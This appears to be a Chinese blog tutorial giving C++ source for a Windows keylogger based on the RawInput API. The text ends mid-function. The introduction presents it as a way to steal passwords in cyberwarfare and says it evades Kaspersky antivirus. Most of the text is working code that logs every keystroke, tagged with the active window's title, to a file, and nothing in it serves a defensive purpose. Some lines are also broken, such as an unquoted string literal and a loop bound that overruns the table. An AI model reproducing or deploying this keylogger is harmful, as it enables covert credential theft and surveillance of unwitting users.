[原]VisualC++信息安全编程（6）穿透卡巴斯基的键盘记录编程

winston

在国家之间的网络战争中，窃取密码是个很重要的事情。
而密码往往是键盘输入的。利用原始设备输入变化RawInput 实现键盘记录，并穿透最牛的杀毒软件卡巴斯基。

引用外国人的原始设备输入变化的类。请柬代码与详细注解。

3. #ifndef _RAWINPUT_H
4. #define _RAWINPUT_H
6. #include <windows.h>
8. /*
9. * The input is in the regular message flow,
10. * the app is required to call DefWindowProc
11. * so that the system can perform clean ups.
12. */
13. #define RIM_INPUT       0
15. /*
16. * The input is sink only. The app is expected
17. * to behave nicely.
18. */
19. #define RIM_INPUTSINK   1
22. /*
23. * Raw Input data header
24. */
25. typedef struct tagRAWINPUTHEADER {
26.     DWORD dwType;
27.     DWORD dwSize;
28.     HANDLE hDevice;
29.     WPARAM wParam;
30. } RAWINPUTHEADER, *PRAWINPUTHEADER, *LPRAWINPUTHEADER;
32. /*
33. * Type of the raw input
34. */
35. #define RIM_TYPEMOUSE       0
36. #define RIM_TYPEKEYBOARD    1
37. #define RIM_TYPEHID         2
39. /*
40. * Raw format of the mouse input
41. */
42. typedef struct tagRAWMOUSE {
43.     /*
44.      * Indicator flags.
45.      */
46.     USHORT usFlags;
48.     /*
49.      * The transition state of the mouse buttons.
50.      */
51.     union {
52.         ULONG ulButtons;
53.         struct  {
54.             USHORT  usButtonFlags;
55.             USHORT  usButtonData;
56.         };
57.     };
60.     /*
61.      * The raw state of the mouse buttons.
62.      */
63.     ULONG ulRawButtons;
65.     /*
66.      * The signed relative or absolute motion in the X direction.
67.      */
68.     LONG lLastX;
70.     /*
71.      * The signed relative or absolute motion in the Y direction.
72.      */
73.     LONG lLastY;
75.     /*
76.      * Device-specific additional information for the event.
77.      */
78.     ULONG ulExtraInformation;
80. } RAWMOUSE, *PRAWMOUSE, *LPRAWMOUSE;
82. /*
83. * Define the mouse button state indicators.
84. */
86. #define RI_MOUSE_LEFT_BUTTON_DOWN   0x0001  // Left Button changed to down.
87. #define RI_MOUSE_LEFT_BUTTON_UP     0x0002  // Left Button changed to up.
88. #define RI_MOUSE_RIGHT_BUTTON_DOWN  0x0004  // Right Button changed to down.
89. #define RI_MOUSE_RIGHT_BUTTON_UP    0x0008  // Right Button changed to up.
90. #define RI_MOUSE_MIDDLE_BUTTON_DOWN 0x0010  // Middle Button changed to down.
91. #define RI_MOUSE_MIDDLE_BUTTON_UP   0x0020  // Middle Button changed to up.
93. #define RI_MOUSE_BUTTON_1_DOWN      RI_MOUSE_LEFT_BUTTON_DOWN
94. #define RI_MOUSE_BUTTON_1_UP        RI_MOUSE_LEFT_BUTTON_UP
95. #define RI_MOUSE_BUTTON_2_DOWN      RI_MOUSE_RIGHT_BUTTON_DOWN
96. #define RI_MOUSE_BUTTON_2_UP        RI_MOUSE_RIGHT_BUTTON_UP
97. #define RI_MOUSE_BUTTON_3_DOWN      RI_MOUSE_MIDDLE_BUTTON_DOWN
98. #define RI_MOUSE_BUTTON_3_UP        RI_MOUSE_MIDDLE_BUTTON_UP
100. #define RI_MOUSE_BUTTON_4_DOWN      0x0040
101. #define RI_MOUSE_BUTTON_4_UP        0x0080
102. #define RI_MOUSE_BUTTON_5_DOWN      0x0100
103. #define RI_MOUSE_BUTTON_5_UP        0x0200
105. /*
106. * If usButtonFlags has RI_MOUSE_WHEEL, the wheel delta is stored in usButtonData.
107. * Take it as a signed value.
108. */
109. #define RI_MOUSE_WHEEL              0x0400
111. /*
112. * Define the mouse indicator flags.
113. */
114. #define MOUSE_MOVE_RELATIVE         0
115. #define MOUSE_MOVE_ABSOLUTE         1
116. #define MOUSE_VIRTUAL_DESKTOP    0x02  // the coordinates are mapped to the virtual desktop
117. #define MOUSE_ATTRIBUTES_CHANGED 0x04  // requery for mouse attributes
120. /*
121. * Raw format of the keyboard input
122. */
123. typedef struct tagRAWKEYBOARD {
124.     /*
125.      * The "make" scan code (key depression).
126.      */
127.     USHORT MakeCode;
129.     /*
130.      * The flags field indicates a "break" (key release) and other
131.      * miscellaneous scan code information defined in ntddkbd.h.
132.      */
133.     USHORT Flags;
135.     USHORT Reserved;
137.     /*
138.      * Windows message compatible information
139.      */
140.     USHORT VKey;
141.     UINT   Message;
143.     /*
144.      * Device-specific additional information for the event.
145.      */
146.     ULONG ExtraInformation;
149. } RAWKEYBOARD, *PRAWKEYBOARD, *LPRAWKEYBOARD;
152. /*
153. * Define the keyboard overrun MakeCode.
154. */
156. #define KEYBOARD_OVERRUN_MAKE_CODE    0xFF
158. /*
159. * Define the keyboard input data Flags.
160. */
161. #define RI_KEY_MAKE             0
162. #define RI_KEY_BREAK            1
163. #define RI_KEY_E0               2
164. #define RI_KEY_E1               4
165. #define RI_KEY_TERMSRV_SET_LED  8
166. #define RI_KEY_TERMSRV_SHADOW   0x10
169. /*
170. * Raw format of the input from Human Input Devices
171. */
172. typedef struct tagRAWHID {
173.     DWORD dwSizeHid;    // byte size of each report
174.     DWORD dwCount;      // number of input packed
175.     BYTE bRawData[1];
176. } RAWHID, *PRAWHID, *LPRAWHID;
178. /*
179. * RAWINPUT data structure.
180. */
181. typedef struct tagRAWINPUT {
182.     RAWINPUTHEADER header;
183.     union {
184.         RAWMOUSE    mouse;
185.         RAWKEYBOARD keyboard;
186.         RAWHID      hid;
187.     } data;
188. } RAWINPUT, *PRAWINPUT, *LPRAWINPUT;
190. /*
191. * Flags for GetRawInputData
192. */
194. #define RID_INPUT               0x10000003
195. #define RID_HEADER              0x10000005
197. typedef struct HRAWINPUT__ * HRAWINPUT;
199. typedef
200. UINT
201. (_stdcall * PGetRawInputData)(
202.     HRAWINPUT hRawInput,
203.     UINT uiCommand,
204.     LPVOID pData,
205.     PUINT pcbSize,
206.     UINT cbSizeHeader
207. );
209. /*
210. * Raw Input Device Information
211. */
212. #define RIDI_PREPARSEDDATA      0x20000005
213. #define RIDI_DEVICENAME         0x20000007  // the return valus is the character length, not the byte size
214. #define RIDI_DEVICEINFO         0x2000000b
216. typedef struct tagRID_DEVICE_INFO_MOUSE {
217.     DWORD dwId;
218.     DWORD dwNumberOfButtons;
219.     DWORD dwSampleRate;
220. } RID_DEVICE_INFO_MOUSE, *PRID_DEVICE_INFO_MOUSE;
222. typedef struct tagRID_DEVICE_INFO_KEYBOARD {
223.     DWORD dwType;
224.     DWORD dwSubType;
225.     DWORD dwKeyboardMode;
226.     DWORD dwNumberOfFunctionKeys;
227.     DWORD dwNumberOfIndicators;
228.     DWORD dwNumberOfKeysTotal;
229. } RID_DEVICE_INFO_KEYBOARD, *PRID_DEVICE_INFO_KEYBOARD;
231. typedef struct tagRID_DEVICE_INFO_HID {
232.     DWORD dwVendorId;
233.     DWORD dwProductId;
234.     DWORD dwVersionNumber;
236.     /*
237.      * Top level collection UsagePage and Usage
238.      */
239.     USHORT usUsagePage;
240.     USHORT usUsage;
241. } RID_DEVICE_INFO_HID, *PRID_DEVICE_INFO_HID;
243. typedef struct tagRID_DEVICE_INFO {
244.     DWORD cbSize;
245.     DWORD dwType;
246.     union {
247.         RID_DEVICE_INFO_MOUSE mouse;
248.         RID_DEVICE_INFO_KEYBOARD keyboard;
249.         RID_DEVICE_INFO_HID hid;
250.     };
251. } RID_DEVICE_INFO, *PRID_DEVICE_INFO, *LPRID_DEVICE_INFO;
253. typedef
254. UINT
255. (_stdcall * PGetRawInputDeviceInfoA)(
256.     HANDLE hDevice,
257.     UINT uiCommand,
258.     LPVOID pData,
259.     PUINT pcbSize
260. );
262. typedef
263. UINT
264. (_stdcall * PGetRawInputDeviceInfoW)(
265.     HANDLE hDevice,
266.     UINT uiCommand,
267.     LPVOID pData,
268.     PUINT pcbSize
269. );
273. /*
274. * Raw Input Bulk Read: GetRawInputBuffer
275. */
276. typedef
277. UINT
278. (_stdcall * PGetRawInputBuffer)(
279.     PRAWINPUT pData,
280.     PUINT pcbSize,
281.     UINT cbSizeHeader
282. );
284. /*
285. * Raw Input request APIs
286. */
287. typedef struct tagRAWINPUTDEVICE {
288.     USHORT usUsagePage; // Toplevel collection UsagePage
289.     USHORT usUsage;     // Toplevel collection Usage
290.     DWORD dwFlags;
291.     HWND hwndTarget;    // Target hwnd. NULL = follows keyboard focus
292. } RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;
294. typedef CONST RAWINPUTDEVICE* PCRAWINPUTDEVICE;
296. #define RIDEV_REMOVE            0x00000001
297. #define RIDEV_EXCLUDE           0x00000010
298. #define RIDEV_PAGEONLY          0x00000020
299. #define RIDEV_NOLEGACY          0x00000030
300. #define RIDEV_INPUTSINK         0x00000100
301. #define RIDEV_CAPTUREMOUSE      0x00000200  // effective when mouse nolegacy is specified, otherwise it would be an error
302. #define RIDEV_NOHOTKEYS         0x00000200  // effective for keyboard.
303. #define RIDEV_APPKEYS           0x00000400  // effective for keyboard.
304. #define RIDEV_EXMODEMASK        0x000000F0
306. #define RIDEV_EXMODE(mode)  ((mode) & RIDEV_EXMODEMASK)
308. typedef
309. BOOL
310. (_stdcall * PRegisterRawInputDevices)(
311.     PCRAWINPUTDEVICE pRawInputDevices,
312.     UINT uiNumDevices,
313.     UINT cbSize
314. );
316. typedef
317. UINT
318. (_stdcall * PGetRegisteredRawInputDevices)(
319.     PRAWINPUTDEVICE pRawInputDevices,
320.     PUINT puiNumDevices,
321.     UINT cbSize
322. );
325. typedef struct tagRAWINPUTDEVICELIST {
326.     HANDLE hDevice;
327.     DWORD dwType;
328. } RAWINPUTDEVICELIST, *PRAWINPUTDEVICELIST;
330. typedef
331. UINT
332. (_stdcall * PGetRawInputDeviceList)(
333.     PRAWINPUTDEVICELIST pRawInputDeviceList,
334.     PUINT puiNumDevices,
335.     UINT cbSize);
337. typedef
338. LRESULT
339. (_stdcall * PDefRawInputProc)(
340.     PRAWINPUT *paRawInput,
341.     INT nInput,
342.     UINT cbSizeHeader
343. );
345. #define WM_INPUT 0x00ff
347. #endif
349. #ifndef _VKEY_H
350. #define _VKEY_H
352. struct VKeyInfo{
353.         USHORT VKey;
354.         LPCSTR VKname;
355. };
357. #define AddVKey(VK, VKName)   {(VK), (VKName)}
359. static VKeyInfo vkis[] = {
360.                 AddVKey(VK_LBUTTON, "Left mouse button"),
361.                 AddVKey(VK_RBUTTON, "Right mouse button"),
362.         AddVKey(VK_CANCEL, "Control-break processing"),
363.                 AddVKey(0x04, "[Middle mouse button (three-button mouse]"),
364.                 AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
365.                 AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
366.                 AddVKey(0x07, "Undefined"),
367.                 AddVKey(VK_BACK, "[BACKSPACE]"),
368.                 AddVKey(VK_TAB, "[TAB]"),
369.                 AddVKey(0x0A, "Reserved"),
370.                 AddVKey(0x0B, "Reserved"),
371.                 AddVKey(VK_CLEAR, "[CLEAR]"),
372.                 AddVKey(VK_RETURN, "[ENTER]"),
373.                 AddVKey(0x0E, "Undefined"),
374.                 AddVKey(0x0F, "Undefined"),
375.                 AddVKey(VK_SHIFT, "[SHIFT]"),
376.                 AddVKey(VK_CONTROL, "[CTRL]"),
377.                 AddVKey(VK_MENU, "[ALT]"),
378.                 AddVKey(VK_PAUSE, "[PAUSE]"),
379.                 AddVKey(VK_CAPITAL, "[caps lock]"),
380.                 AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
381.                 AddVKey(VK_HANGUL, "IME Hangul mode"),
382.                 AddVKey(0x16, "Undefined"),
383.                 AddVKey(VK_JUNJA, "IME Junja mode"),
384.                 AddVKey(VK_FINAL, "IME final mode"),
385.                 AddVKey(VK_HANJA, "IME Hanja mode"),
386.                 AddVKey(VK_KANJI, "IME Kanji mode"),
387.                 AddVKey(0x1A, "Undefined"),
388.                 AddVKey(VK_ESCAPE, "[ESC]"),
389.                 AddVKey(VK_CONVERT, "IME convert"),
390.                 AddVKey(VK_NONCONVERT, "IME nonconvert"),
391.                 AddVKey(VK_ACCEPT, "IME accept"),
392.                 AddVKey(VK_MODECHANGE, "IME mode change request"),
393.                 AddVKey(VK_SPACE, "[space]"),
394.                 AddVKey(VK_PRIOR, "[PAGE UP]"),
395.                 AddVKey(VK_NEXT, "[PAGE DOWN]"),
396.                 AddVKey(VK_END, "[END]"),
397.                 AddVKey(VK_HOME, "[HOME]"),
398.                 AddVKey(VK_LEFT, "[LEFT ARROW]"),
399.                 AddVKey(VK_UP, "[UP ARROW]"),
400.                 AddVKey(VK_RIGHT, "[RIGHT ARROW]"),
401.                 AddVKey(VK_DOWN, "[DOWN ARROW]"),
402.                 AddVKey(VK_SELECT, "[SELECT]"),
403.                 AddVKey(VK_PRINT, "[PRINT]"),
404.                 AddVKey(VK_EXECUTE, "[EXECUTE]"),
405.                 AddVKey(VK_SNAPSHOT, "[PRINT SCREEN]"),
406.                 AddVKey(VK_INSERT, "[INSERT]"),
407.                 AddVKey(VK_DELETE, "[DEL]"),
408.                 AddVKey(VK_HELP, "[HELP]"),
409.                 AddVKey(0x30, "0"),
410.                 AddVKey(0x31, "1"),
411.                 AddVKey(0x32, "2"),
412.                 AddVKey(0x33, "3"),
413.                 AddVKey(0x34, "4"),
414.                 AddVKey(0x35, "5"),
415.                 AddVKey(0x36, "6"),
416.                 AddVKey(0x37, "7"),
417.                 AddVKey(0x38, "8"),
418.                 AddVKey(0x39, "9"),
419.                 AddVKey(0x3A, "Undefined"),
420.                 AddVKey(0x3B, "Undefined"),
421.                 AddVKey(0x3C, "Undefined"),
422.                 AddVKey(0x3D, "Undefined"),
423.                 AddVKey(0x3E, "Undefined"),
424.                 AddVKey(0x3F, "Undefined"),
425.                 AddVKey(0x40, "Undefined"),
426.                 AddVKey(0x41, "a"),
427.                 AddVKey(0x42, "b"),
428.                 AddVKey(0x43, "c"),
429.                 AddVKey(0x44, "d"),
430.                 AddVKey(0x45, "e"),
431.                 AddVKey(0x46, "f"),
432.                 AddVKey(0x47, "g"),
433.                 AddVKey(0x48, "h"),
434.                 AddVKey(0x49, "i"),
435.                 AddVKey(0x4A, "j"),
436.                 AddVKey(0x4B, "k"),
437.                 AddVKey(0x4C, "l"),
438.                 AddVKey(0x4D, "m"),
439.                 AddVKey(0x4E, "n"),
440.                 AddVKey(0x4F, "o"),
441.                 AddVKey(0x50, "p"),
442.                 AddVKey(0x51, "q"),
443.                 AddVKey(0x52, "r"),
444.                 AddVKey(0x53, "s"),
445.                 AddVKey(0x54, "t"),
446.                 AddVKey(0x55, "u"),
447.                 AddVKey(0x56, "v"),
448.                 AddVKey(0x57, "w"),
449.                 AddVKey(0x58, "x"),
450.                 AddVKey(0x59, "y"),
451.                 AddVKey(0x5A, "z"),
453.                 AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
454.                 AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
455.                 AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
456.                 AddVKey(0x5E, "Reserved"),
457.                 AddVKey(VK_SLEEP, "Computer Sleep key"),
458.                 AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
459.                 AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
460.                 AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
461.                 AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
462.                 AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
463.                 AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
464.                 AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
465.                 AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
466.                 AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
467.                 AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
468.                 AddVKey(VK_MULTIPLY, "Multiply key"),
469.                 AddVKey(VK_ADD, "Add key"),
470.                 AddVKey(VK_SEPARATOR, "Separator key"),
471.                 AddVKey(VK_SUBTRACT, "Subtract key"),
472.                 AddVKey(VK_DECIMAL, "Decimal key"),
473.                 AddVKey(VK_DIVIDE, "Divide key"),
474.                 AddVKey(VK_F1, "[F1]"),
475.                 AddVKey(VK_F2, "[F2]"),
476.                 AddVKey(VK_F3, "[F3]"),
477.                 AddVKey(VK_F4, "[F4]"),
478.                 AddVKey(VK_F5, "[F5]"),
479.                 AddVKey(VK_F6, "[F6]"),
480.                 AddVKey(VK_F7, "[F7]"),
481.                 AddVKey(VK_F8, "[F8]"),
482.                 AddVKey(VK_F9, "[F9]"),
483.                 AddVKey(VK_F10, "[F10]"),
484.                 AddVKey(VK_F11, "[F11]"),
485.                 AddVKey(VK_F12, "[F12]"),
486.                 AddVKey(VK_F13, "[F13]"),
487.                 AddVKey(VK_F14, "[F14]"),
488.                 AddVKey(VK_F15, "[F15]"),
489.                 AddVKey(VK_F16, "[F16]"),
490.                 AddVKey(VK_F17, "[F17]"),
491.                 AddVKey(VK_F18, "[F18]"),
492.                 AddVKey(VK_F19, "[F19]"),
493.                 AddVKey(VK_F20, "[F20]"),
494.                 AddVKey(VK_F21, "[F21]"),
495.                 AddVKey(VK_F22, "[F22]"),
496.                 AddVKey(VK_F23, "[F23]"),
497.                 AddVKey(VK_F24, "[F24]"),
498.                 AddVKey(0x88, "Unassigned"),
499.                 AddVKey(0x89, "Unassigned"),
500.                 AddVKey(0x8A, "Unassigned"),
501.                 AddVKey(0x8B, "Unassigned"),
502.                 AddVKey(0x8C, "Unassigned"),
503.                 AddVKey(0x8D, "Unassigned"),
504.                 AddVKey(0x8E, "Unassigned"),
505.                 AddVKey(0x8F, "Unassigned"),
506.                 AddVKey(VK_NUMLOCK, "[NUM LOCK]"),
507.                 AddVKey(VK_SCROLL, "[SCROLL LOCK]"),
508.                 AddVKey(0x92, "OEM specific"),
509.                 AddVKey(0x93, "OEM specific"),
510.                 AddVKey(0x94, "OEM specific"),
511.                 AddVKey(0x95, "OEM specific"),
512.                 AddVKey(0x96, "OEM specific"),
513.                 AddVKey(0x97, "Unassigned"),
514.                 AddVKey(0x98, "Unassigned"),
515.                 AddVKey(0x99, "Unassigned"),
516.                 AddVKey(0x9A, "Unassigned"),
517.                 AddVKey(0x9B, "Unassigned"),
518.                 AddVKey(0x9C, "Unassigned"),
519.                 AddVKey(0x9D, "Unassigned"),
520.                 AddVKey(0x9E, "Unassigned"),
521.                 AddVKey(0x9F, "Unassigned"),
522.                 AddVKey(VK_LSHIFT, "[Left SHIFT ]"),
523.                 AddVKey(VK_RSHIFT, "[Right SHIFT]"),
524.                 AddVKey(VK_LCONTROL, "[Left CONTROL]"),
525.                 AddVKey(VK_RCONTROL, "[Right CONTROL]"),
526.                 AddVKey(VK_LMENU, "Left MENU key"),
527.                 AddVKey(VK_RMENU, "Right MENU key"),
528.                 AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
529.                 AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
530.                 AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
531.                 AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
532.                 AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
533.                 AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
534.                 AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
535.                 AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
536.                 AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
537.                 AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
538.                 AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
539.                 AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
540.                 AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
541.                 AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
542.                 AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
543.                 AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
544.                 AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
545.                 AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
546.                 AddVKey(0xB8, "Reserved"),
547.                 AddVKey(0xB9, "Reserved"),
548.                 AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
549.                           "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
550.                 AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
551.                 AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
552.                 AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
553.                 AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
554.                 AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
555.                           "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
556.                 AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard."
557.                           "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
558.                 AddVKey(0xC1, "Reserved"),
559.                 AddVKey(0xC2, "Reserved"),
560.                 AddVKey(0xC3, "Reserved"),
561.                 AddVKey(0xC4, "Reserved"),
562.                 AddVKey(0xC5, "Reserved"),
563.                 AddVKey(0xC6, "Reserved"),
564.                 AddVKey(0xC7, "Reserved"),
565.                 AddVKey(0xC8, "Reserved"),
566.                 AddVKey(0xC9, "Reserved"),
567.                 AddVKey(0xCA, "Reserved"),
568.                 AddVKey(0xCB, "Reserved"),
569.                 AddVKey(0xCC, "Reserved"),
570.                 AddVKey(0xCD, "Reserved"),
571.                 AddVKey(0xCE, "Reserved"),
572.                 AddVKey(0xCF, "Reserved"),
573.                 AddVKey(0xD0, "Reserved"),
574.                 AddVKey(0xD1, "Reserved"),
575.                 AddVKey(0xD2, "Reserved"),
576.                 AddVKey(0xD3, "Reserved"),
577.                 AddVKey(0xD4, "Reserved"),
578.                 AddVKey(0xD5, "Reserved"),
579.                 AddVKey(0xD6, "Reserved"),
580.                 AddVKey(0xD7, "Reserved"),
581.                 AddVKey(0xD8, "Unassigned"),
582.                 AddVKey(0xD9, "Unassigned"),
583.                 AddVKey(0xDA, "Unassigned"),
584.                 AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard."
585.                           "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
586.             AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard."
587.                           "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
588.                 AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard."
589.                           "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
590.             AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard."
591.                           "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),
593.                 AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
594.                 AddVKey(0xE0, "Reserved"),
595.                 AddVKey(0xE1, "OEM specific"),
596.                 AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
597.                 AddVKey(0xE3, "OEM specific"),
598.                 AddVKey(0xE4, "OEM specific"),
599.                 AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
600.                 AddVKey(0xE6, "OEM specific"),
601.                 AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
602.                 AddVKey(0xE8, "Unassigned"),
603.                 AddVKey(0xE9, "OEM specific"),
604.                 AddVKey(0xEA, "OEM specific"),
605.                 AddVKey(0xEB, "OEM specific"),
606.                 AddVKey(0xEC, "OEM specific"),
607.                 AddVKey(0xED, "OEM specific"),
608.                 AddVKey(0xEF, "OEM specific"),
609.                 AddVKey(0xF0, "OEM specific"),
610.                 AddVKey(0xF1, "OEM specific"),
611.                 AddVKey(0xF2, "OEM specific"),
612.                 AddVKey(0xF3, "OEM specific"),
613.                 AddVKey(0xF4, "OEM specific"),
614.                 AddVKey(0xF5, "OEM specific"),
615.                 AddVKey(VK_ATTN, "Attn key"),
616.                 AddVKey(VK_CRSEL, "CrSel key"),
617.                 AddVKey(VK_EXSEL, "ExSel key"),
618.                 AddVKey(VK_EREOF, "Erase EOF key"),
619.                 AddVKey(VK_PLAY, "Play key"),
620.                 AddVKey(VK_ZOOM, "Zoom key"),
621.             AddVKey(VK_NONAME, "Reserved"),
622.             AddVKey(VK_PA1, "PA1 key"),
623.                 AddVKey(VK_OEM_CLEAR, "Clear key"),
624.                 AddVKey(0xFF, "Unknown Virtual-Key Code")
625. };
628. LPCSTR GetKeyName(USHORT VKey)
629. {
630.         for(int i = 0; i < sizeof(vkis); i++)
631.         {
632.                 if(VKey == vkis[i].VKey)
633.                         return vkis[i].VKname;
634.         }
635.         return vkis[--i].VKname;
636. }
639. #endif
642. 实现过程如下，在应用程序中调用之。
643. #include "rawinput.h"
645. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
646. HANDLE        InitLogFile(void);
647. bool        Intial(HINSTANCE hInstance);
648. BOOL        RegisitKeyBord(HWND hwnd);
649. PVOID        GetApiAdd(LPCSTR dllname, LPCSTR procname);
651. HWND        prev = NULL;
652. HANDLE        hFile;
653. char *szInfo = "一个穿透卡巴的键盘记录（带窗口标题获取）利用原始设备输入变化RawInput 键盘记录在当前目录下的Keylog.txt中";
654. char *szTips = http://blog.csdn.net/yincheng01;
656. int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)
657. {
658.         MSG  msg;
660.         Intial(hInstance);
662.         while(GetMessage(&msg, NULL, 0, 0))
663.         {
664.                 TranslateMessage(&msg);
665.                 DispatchMessage(&msg);
666.         }
668.         return 0;
669. }
671. bool Intial(HINSTANCE hInstance)
672. {
673.    HWND                hWnd;
674.    
675.    WNDCLASS            wndClass;
677.    wndClass.style          = CS_HREDRAW | CS_VREDRAW;
678.    wndClass.lpfnWndProc    = WndProc;
679.    wndClass.cbClsExtra     = 0;
680.    wndClass.cbWndExtra     = 0;
681.    wndClass.hInstance      = hInstance;
682.    wndClass.hIcon          = LoadIcon(NULL, IDI_APPLICATION);
683.    wndClass.hCursor        = LoadCursor(NULL, IDC_ARROW);
684.    wndClass.hbrBackground  = (HBRUSH)GetStockObject(WHITE_BRUSH);
685.    wndClass.lpszMenuName   = NULL;
686.    wndClass.lpszClassName  = TEXT("Twnd");
687.    RegisterClass(&wndClass);
688.    
689.    
690.    hWnd = CreateWindow(
691.       TEXT("Twnd"),   // window class name
692.       TEXT("键盘记录测试"),  // window caption
693.       WS_OVERLAPPEDWINDOW,      // window style
694.       CW_USEDEFAULT,            // initial x position
695.       CW_USEDEFAULT,            // initial y position
696.       CW_USEDEFAULT,            // initial x size
697.       CW_USEDEFAULT,            // initial y size
698.       NULL,                     // parent window handle
699.       NULL,                     // window menu handle
700.       hInstance,                // program instance handle
701.       NULL);                    // creation parameters
703.    //将键盘记录写入日志文件
704.         hFile = InitLogFile();
706.         if(!RegisitKeyBord(hWnd))
707.                 return 0;
708.           
709.         ShowWindow(hWnd, SW_SHOW);
710.         UpdateWindow(hWnd);
711.    
712.         return 0;
713. }
715. LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
716. {
717.         HDC          hdc;
718.         PAINTSTRUCT  ps;  
719.         char vk[256] = {'\0'};
720.         char ti[256] = {'\0'};
721.         UINT                dwSize;
722.         LPBYTE                lpb = NULL;
723.         RAWINPUT*        raw = NULL;
724.         DWORD                dwWritten = 0;
726.         PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");
727.   
728.         switch(message)
729.         {
730.         case WM_INPUT:
731.            if(NULL == GetRawInputData)
732.            {
733.                    DefWindowProc(hWnd, message, wParam, lParam);
734.                    return 0;
735.            }
736.            GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
737.            lpb = new BYTE[dwSize];
738.            if(lpb == NULL)
739.            {
740.                    DefWindowProc(hWnd, message, wParam, lParam);
741.                    return 0;
742.            }
743.           
744.            if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
745.                    break;
746.           
747.            raw = (RAWINPUT*)lpb;
748.           
749.            if (raw->header.dwType == RIM_TYPEKEYBOARD)
750.            {
751.                         if ( prev == NULL)
752.                         {
753.                                 prev = GetForegroundWindow();
754.                                 GetWindowText(prev,ti,256);
755.                                 wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
756.                         }
757.                         else if ( prev == GetForegroundWindow() )
758.                         {
759.                                 wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));
760.                         }
761.                         else
762.                         {
763.                            prev = GetForegroundWindow();
764.                            GetWindowText(prev,ti,256);
765.                            wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
766.                          }
768.                         if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))
769.                         {
770.                             SetFilePointer(hFile, 0, NULL, FILE_END);
771.                                 WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);
772.                         }
773.            }
774.            delete[] lpb;
775.            DefWindowProc(hWnd, message, wParam, lParam);
776.            return 0;
778.    case WM_PAINT:
779.       hdc = BeginPaint(hWnd, &ps);
